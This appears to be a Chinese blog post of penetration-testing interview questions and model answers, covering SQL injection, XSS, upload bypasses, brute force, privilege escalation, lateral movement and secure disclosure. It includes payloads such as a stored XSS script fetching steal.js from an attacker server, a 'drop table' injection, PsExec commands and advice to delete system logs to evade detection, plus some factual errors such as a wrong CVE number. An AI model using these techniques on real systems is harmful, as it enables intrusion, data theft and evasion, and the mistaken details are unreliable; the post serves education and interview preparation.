应届生面大厂渗透测试：我整理了近十场高频面试题，附答题思路（含实战案例）

原创于 2025-09-12 16:35:11 发布 · 1k 阅读

10 ·

CC 4.0 BY-SA版权

文章标签：

#网络安全 #web安全 #渗透测试 #黑客技术 #黑客技术入门 #面试题 #大厂面试题

前言：从面挂5家到拿到字节 Offer，我摸清了大厂面试的 “套路”

去年这个时候，我还是个拿着 “渗透测试实习证明” 却屡屡碰壁的应届生 —— 面试时，被 “SQL 注入怎么绕过 WAF” 问得哑口无言；“内网横向移动的常用方法” 答得支离破碎；甚至连 “文件上传漏洞的修复逻辑” 都没说全。

前5场面试全挂后，我开始复盘：不是我技术不行（毕竟刷完了 SQLI-LAB、Upload-Lab），而是不知道 “大厂想听到什么答案”—— 他们要的不是 “背概念”，而是 “结合实战的结构化回答”，要能看出你的技术落地能力和安全思维。

后来我花1个月，整理了 30 + 场大厂面试（字节、阿里、腾讯、奇安信等）的高频题，每道题都附上 “答题框架 + 实战案例 + 考察点”，最终拿到了字节安全部门的 Offer。这篇文章，我会把这些高频题按 “基础理论、实战操作、内网渗透、代码审计、综合思维” 分类，帮应届生避开 “背答案” 的坑，直击大厂考察核心。

一、基础理论高频题：别只背定义，要结合 “实战场景”

大厂面应届生，基础题不会难到 “0day 漏洞原理”，但会挖得深 —— 比如问 SQL 注入，不只是 “是什么”，而是 “怎么分类型、怎么利用、怎么防御”，还要你举自己遇到的案例。

高频题 1：SQL 注入有哪些类型？实际测试中你怎么判断和利用？

应届生常见误区：

只答 “Union 注入、盲注”，没说判断方法和实战案例，显得没做过真实测试。

我的答题框架：

① 分类逻辑：按 “注入点位置” 和 “利用方式” 分，更贴合实战：

按注入点：GET 注入（如id=1）、POST 注入（登录表单）、Cookie 注入（Cookie 里的user=admin）；
按利用方式：Union 联合查询注入（能直接查数据，适合有回显的场景）、盲注（分时间盲注和布尔盲注，无回显时用，比如if(ascii(substr(database(),1,1))=115,sleep(5),0)）、堆叠查询注入（执行多条 SQL，如1;drop table user#，但多数数据库不支持）。

② 实战判断方法：举我在 SRC 测试的例子：
“去年在某教育平台测试时，发现课程查询页course?id=123，我改id=123'，页面报错‘SQL syntax error’，说明有注入点；再改id=123 and 1=1页面正常，id=123 and 1=2页面异常，确认是布尔盲注；最后用 SQLMap 跑-u "xxx?course=123" --technique B，导出了课程表的用户 ID 和手机号。”

③ 防御核心：3 个层面，避免 “只说参数化查询”：

输入过滤：过滤'、or、and等关键字（但要注意绕过，比如OOrR）；
参数化查询：PHP 用 PDO，Java 用 PreparedStatement，从底层避免拼接 SQL；
最小权限：数据库账号只给 “查询” 权限，不给 “删表、改数据” 权限，即使注入成功也没法破坏。

大厂考察点：

是否懂 “实战中的分类逻辑”（不是死记课本），是否有真实测试经验，防御思路是否全面（不只技术，还有权限控制）。

高频题 2：XSS 漏洞怎么分类？如何防御？为什么 CSP 比输入过滤更有效？

应届生常见误区：

混淆 DOM 型 XSS 和反射型，防御只说 “过滤

我的答题框架：

① 分类 + 实战案例：重点区分 “是否存入数据库” 和 “是否依赖 DOM 解析”：

存储型 XSS：注入代码存入数据库，比如评论区输入<script src="http://我的服务器/steal.js"></script>，所有看评论的人都会执行，我在 DVWA High 难度里复现过，需要绕过 HTML 实体编码；
反射型 XSS：代码不存储，通过 URL 传入，比如search?key=<script>alert(1)</script>，只有点链接的人执行，去年测某企业官网时遇到过，用 Burp 改参数就触发了；
DOM 型 XSS：不经过后端，前端 JS 解析 DOM 时触发，比如页面用document.write(location.hash)，我改 URL 为#<script>alert(1)</script>，直接执行，这类漏洞工具扫不到，得手动看 JS 代码。

② 防御对比：用 “问题 + 方案” 的逻辑：

输入过滤的问题：容易被绕过，比如把<script>改成<scr<script>ipt>，或用 UTF-7 编码；
CSP 的优势：从 “允许执行的资源” 入手，比如配置Content-Security-Policy: default-src 'self'，只允许加载本域名的 JS，即使注入了外部脚本也执行不了。我在实习时给项目加过 CSP，直接阻断了 90% 的 XSS 攻击。

大厂考察点：

是否理解 DOM 型 XSS 的特殊场景（前端漏洞），防御思路是否有 “分层思维”（不只前端，还有 HTTP 头配置）。

二、实战操作高频题：要讲 “步骤 + 工具 + 遇到的坑”，别只说 “我会用 Burp”

大厂最看重 “实战能力”，比如问 “怎么挖文件上传漏洞”，不是让你说定义，而是说 “你用什么工具、测了哪些点、遇到 WAF 怎么绕”—— 应届生没太多项目经验，用靶场和 SRC 的经历凑，也能显得很真实。

高频题 3：实际测试中，你怎么测试文件上传漏洞？遇到 WAF 拦截怎么处理？

应届生常见误区：

只说 “改后缀为 php5”，没说测试流程，也没提 WAF 绕过的具体步骤，显得没动手过。

我的答题框架：

① 完整测试流程：按 “前端→后端→解析” 三步测，结合我在 Upload-Lab 的经历：

前端校验测试：先传test.php，看是否提示 “不允许的类型”；再用 Burp 抓包，把Content-Type: application/x-php改成image/jpeg，看能否绕过（Upload-Lab 第 2 关就是这么过的）；
后端后缀校验：试 “黑名单绕过”，传test.php5（对应 Apache 的AddHandler application/x-httpd-php .php5）、test.phtml，或用 Windows 特性传test.php.（末尾加空格，Windows 会自动去掉）；
文件内容校验：传 “图片马”（把 PHP 代码插入图片末尾，用copy /b 1.jpg+2.php 3.jpg制作），再看服务器是否解析（Upload-Lab 第 10 关，需要配合.htaccess 文件SetHandler application/x-httpd-php）。

② WAF 绕过实战：举我在 SRC 遇到某云 WAF 的例子：
“去年测某电商平台时，传test.php被 WAF 拦截，我先抓包看拦截特征 ——WAF 会检测filename="test.php"里的.php；然后用‘参数污染’，传filename="test.php&filename=test.jpg"，WAF 只拦截第一个参数，后端取第二个参数，成功上传；最后访问http://xxx.com/upload/test.php&filename=test.jpg，拿到 WebShell。”

大厂考察点：

是否有 “系统化的测试思维”（不是瞎试），是否懂 WAF 绕过的底层逻辑（不是死记方法），工具使用是否熟练。

高频题 4：用 Burp Suite 怎么进行暴力破解？比如破解登录密码，怎么提高成功率？

应届生常见误区：

只说 “用 Intruder 模块”，没说字典选择、线程控制、绕过验证码的方法，显得没实际操作过。

我的答题框架：

① 具体步骤：结合我破解 DVWA 登录的例子：

抓包与定位参数：抓登录请求，定位username和password参数，清除其他无关参数（减少干扰）；
字典选择：不用 “全量字典”，用 “针对性字典”—— 比如目标是企业后台，用户名用admin、admin888、sysadmin（常见管理员账号），密码用 “企业名 + 年份”（如ali2023）+ top1000 弱密码，成功率比全量字典高 30%；
** Intruder 配置 **：选 “Cluster Bomb” 模式（多参数爆破），线程设为 10-20（太高会被封 IP），加 “延迟”（每请求间隔 500ms），避免触发 WAF 的频率限制；
结果判断：看 “响应长度” 和 “关键字”—— 比如正确密码的响应长度比错误的长 200 字节，且包含 “欢迎登录”，用 Burp 的 “Grep - Match” 功能自动标记。

② 提高成功率的技巧：

绕过验证码：如果是简单的图形验证码，用 “Burp 插件（如 CapMonster）” 自动识别；如果是短信验证码，看是否有 “验证码复用” 漏洞（比如验证码 10 分钟内有效，可多次尝试）；
IP 切换：如果被封 IP，用 Burp 的 “Proxy Chain” 挂代理池，每次请求换 IP（我实习时用这个方法破解过某小厂的后台密码）。

大厂考察点：

是否懂 “实战中的细节”（字典、线程、绕过），不是只会点按钮，而是有 “优化思维”（怎么提高成功率，避免被拦截）。

三、内网渗透高频题：应届生不用懂太深，但要会 “基础流程 + 常用工具”

大厂应届生面渗透测试，内网题不会问太复杂的域渗透，但会问 “权限提升、横向移动” 的基础方法 —— 毕竟进公司后可能要参与红队项目，得有基础认知。

高频题 5：拿到 WebShell 后，怎么进行权限提升？举一个你实际操作过的例子。

应届生常见误区：

只说 “用提权工具”，没说工具原理和操作步骤，显得没理解底层逻辑。

我的答题框架：

① 提权分类：按 “系统漏洞” 和 “配置缺陷” 分，更贴近实战：

系统漏洞提权：利用 Windows 的 MS17-010（永恒之蓝）、CVE-2021-40449（PrintNightmare），Linux 的 Dirty COW（CVE-2016-5195）；
配置缺陷提权：比如 Windows 的 “管理员密码明文存储”（在C:\Windows\system32\config\SAM文件，或注册表HKLM\SAM\SAM），Linux 的 “SUDO 权限配置错误”（用户能免密执行/bin/bash）。

② 实战例子：我在 VulnHub 的 Metasploitable 3 靶场的操作：
“拿到 WebShell 后，先看当前权限是www-data（低权限），用systeminfo看系统版本是 Windows Server 2012 R2；然后用 MSF 生成windows/x64/exploit/multi/handler后门，上传到靶机；再用exploit/windows/local/ms17_010_eternalblue模块，利用永恒之蓝漏洞提权；最后getsystem成功拿到 NT AUTHORITY\SYSTEM 权限，能访问系统盘的所有文件。”

③ 注意事项：

先做信息收集：用whoami、systeminfo、uname -a看权限和系统版本，再选对应漏洞；
避免破坏系统：提权后不删文件、不修改关键配置，尤其是真实项目中，要保持环境原样。

大厂考察点：

是否懂 “提权的前提是信息收集”，是否有实际操作经验（靶场经历也可以），是否有 “风险意识”（不破坏环境）。

高频题 6：内网横向移动常用什么工具和方法？怎么避免被内网安全设备发现？

应届生常见误区：

只说 “用 Cobalt Strike”，没说具体模块和规避方法，显得只会用工具不会实战。

我的答题框架：

① 常用工具 + 方法：结合我在红队实习的模拟项目：

工具：Cobalt Strike（团队协作，生成后门、横向移动）、Hydra（暴力破解 SMB、RDP 密码）、PsExec（通过 SMB 执行命令，比如PsExec \\192.168.1.101 -u admin -p 123456 cmd.exe）；
方法：
1. 弱口令横向：用 Hydra 扫内网 192.168.1.0/24 段的 SMB 端口，发现 192.168.1.105 的admin/123456弱口令，用 PsExec 登录；
2. 漏洞横向：发现 192.168.1.200 有 MS17-010 漏洞，用 Cobalt Strike 的exploit/windows/smb/ms17_010_eternalblue模块，直接获取权限。

② 规避检测技巧：

流量伪装：把 Cobalt Strike 的通信端口改成 80、443（常用端口，不容易被防火墙拦截），用 “HTTPS 证书伪装”，让流量看起来像正常网页访问；
减少操作痕迹：不用cmd.exe（容易被 EDR 监控），用powershell -exec bypass -Command "xxx"执行命令，操作后删除日志（Windows 删C:\Windows\System32\winevt\Logs，Linux 删/var/log/auth.log）。

大厂考察点：

是否懂 “内网操作的风险控制”（规避检测），是否有 “团队协作思维”（Cobalt Strike 的使用），不是只会单打独斗。

四、代码审计高频题：应届生不用会审计复杂框架，但要懂 “常见漏洞的代码特征”

大厂应届生面渗透测试，代码审计题会聚焦 “简单漏洞的代码分析”，比如 PHP 的文件上传、SQL 注入，考察你是否能 “从代码里找漏洞”，而不只是用工具扫。

高频题 7：看这段 PHP 代码，有没有文件上传漏洞？怎么利用？怎么修复？

<?php
$filename = $_FILES['file']['name'];
$tempname = $_FILES['file']['tmp_name'];
$path = "./upload/" . $filename;
if (strstr($filename, ".php")) {
    echo "不允许上传PHP文件！";
    exit;
}
move_uploaded_file($tempname, $path);
echo "上传成功！";
?>

应届生常见误区：

只说 “有漏洞”，没说漏洞点和绕过方法，修复只说 “过滤后缀”，不具体。

我的答题框架：

① 漏洞分析：指出 “过滤逻辑缺陷”：
“有漏洞，问题在strstr($filename, ".php")—— 只检测文件名是否包含.php，但没考虑‘大小写绕过’和‘多后缀绕过’；而且没校验文件内容，只靠文件名判断，容易绕过。”

② 利用方法：举 2 个实战中常用的绕过方式：

大小写绕过：上传test.PHP，strstr区分大小写，不会检测到.PHP，上传后服务器会解析为 PHP 文件（Apache 默认不区分大小写）；
多后缀绕过：上传test.php.jpg，但修改filename为test.php.（末尾加空格），Windows 系统会自动去掉末尾空格，最终保存为test.php（我在 Upload-Lab 第 3 关用过这个方法）。

③ 修复方案：3 个层面，从 “前端→后端→解析” 全流程防御：

后缀白名单：不用黑名单（strstr），用白名单只允许jpg、png、gif，比如$allow = array("jpg","png","gif"); $ext = pathinfo($filename, PATHINFO_EXTENSION); if (!in_array($ext, $allow)) exit;；
文件内容校验：用getimagesize($tempname)判断是否为图片，避免 “图片马”；
重命名文件：不保留原文件名，用uniqid()生成随机名，比如$path = "./upload/" . uniqid() . "." . $ext;，避免路径遍历和后缀绕过。

大厂考察点：

是否能 “读懂代码逻辑”，是否懂 “漏洞的底层原因”（不是只看表面），修复方案是否 “全面”（不只改一个点）。

五、综合思维高频题：考察 “合规意识” 和 “问题解决能力”，大厂很看重

这类题不考技术，考 “职业素养”—— 比如合规、沟通、流程，应届生容易忽略，但这是大厂筛人的关键（毕竟安全岗位涉及数据和法律风险）。

高频题 8：你在 SRC 平台发现一个高危漏洞，怎么处理？如果企业不配合修复，怎么办？

应届生常见误区：

只说 “提交报告”，没说报告内容和后续跟进，不提 “合规”，显得没职业意识。

我的答题框架：

① 处理流程：按 “确认→记录→提交→跟进” 四步，体现 “严谨性”：

确认漏洞：先复现 2 次，确保不是误报（比如 SQL 注入，用不同参数试，避免工具误判）；
记录证据：截图漏洞位置、利用步骤、危害（比如能导出用户数据），录屏演示（避免企业不认）；
提交报告：按 SRC 规则写报告，包含 “漏洞标题、位置、利用步骤、危害等级、修复建议”（我之前提交阿里云 SRC 时，报告里附了修复的代码示例，企业很认可）；
跟进修复：提交后 7 天内没反馈，按 SRC 规则发邮件提醒；修复后再复测，确认漏洞已修复。

② 企业不配合的处理：体现 “合规和责任”：
“如果企业不配合，先按 SRC 平台规则申诉，让平台介入；如果涉及用户数据泄露（高危漏洞），会按《网络安全法》提醒企业‘不修复可能面临处罚’；最后如果还是不配合，会向国家信息安全漏洞库（CNVD）上报，但不会私自公开漏洞 —— 毕竟要保护用户数据，避免被黑客利用。”

大厂考察点：

是否有 “合规意识”（不私自公开漏洞），是否有 “沟通能力”（跟进修复），是否有 “责任意识”（保护用户数据）。

高频题 9：作为应届生，你没太多项目经验，怎么证明你能做好渗透测试？

应届生常见误区：

只说 “我会用 Burp、SQLMap”，没说具体成果，显得空洞。

我的答题框架：

“虽然没太多项目经验，但我通过‘靶场 + SRC’积累了实战能力，有 3 个具体成果：

靶场通关：刷完 SQLI-LAB（1-20 关）、Upload-Lab（1-19 关）、DVWA（全难度），每个漏洞都写了‘利用步骤 + 原理分析’的笔记，比如 SQL 注入的盲注逻辑，文件上传的 WAF 绕过；
SRC 漏洞：在阿里云 SRC 提交了 5 个有效漏洞，其中 1 个高危（SQL 注入），拿到了‘安全贡献证书’，报告被企业评为‘优质报告’（可展示证书截图）；
技术输出：在优快云写了 8 篇渗透测试文章，比如《文件上传漏洞的 5 种绕过方法》，里面有我实际操作的截图和代码分析，帮过 200 + 人解决问题（可展示文章链接）。

我知道应届生缺项目经验，但我愿意花更多时间学，比如入职后主动参与红队项目，从简单的信息收集做起，快速补全内网渗透等技能。”

大厂考察点：

是否有 “主动学习能力”（靶场、SRC），是否有 “成果意识”（证书、文章），是否有 “态度”（愿意学习）。

六、应届生面试避坑指南：3 个我踩过的坑，帮你少走弯路

坑 1：只背答案，不结合实战

我面第一家公司时，背了 “SQL 注入的分类”，但被问 “你在哪遇到过盲注” 时，答不上来 —— 大厂要的是 “你做过什么”，不是 “你背了什么”。建议：每个题都准备 1 个自己的案例（靶场或 SRC），哪怕是简单的 DVWA 复现。

坑 2：忽略 “合规问题”

面百度时，我随口说 “我测过学校官网的漏洞”，面试官立刻问 “有没有授权”—— 我没授权，显得没合规意识，差点挂了。建议：所有案例都要说 “合法场景”（靶场、SRC、授权项目），提 “未经授权不测试”，体现职业素养。

坑 3：回答不结构化，想到哪说哪

面阿里时，被问 “怎么挖逻辑漏洞”，我东说一句 “测支付”，西说一句 “测越权”，没逻辑 —— 面试官打断我，让我 “分步骤说”。建议：用 “①②③” 或 “首先→然后→最后” 结构化回答，比如 “挖逻辑漏洞分 3 步：1. 梳理业务流程（如注册→登录→支付）；2. 测试参数篡改（如改金额、改 ID）；3. 验证危害（如越权查数据）”。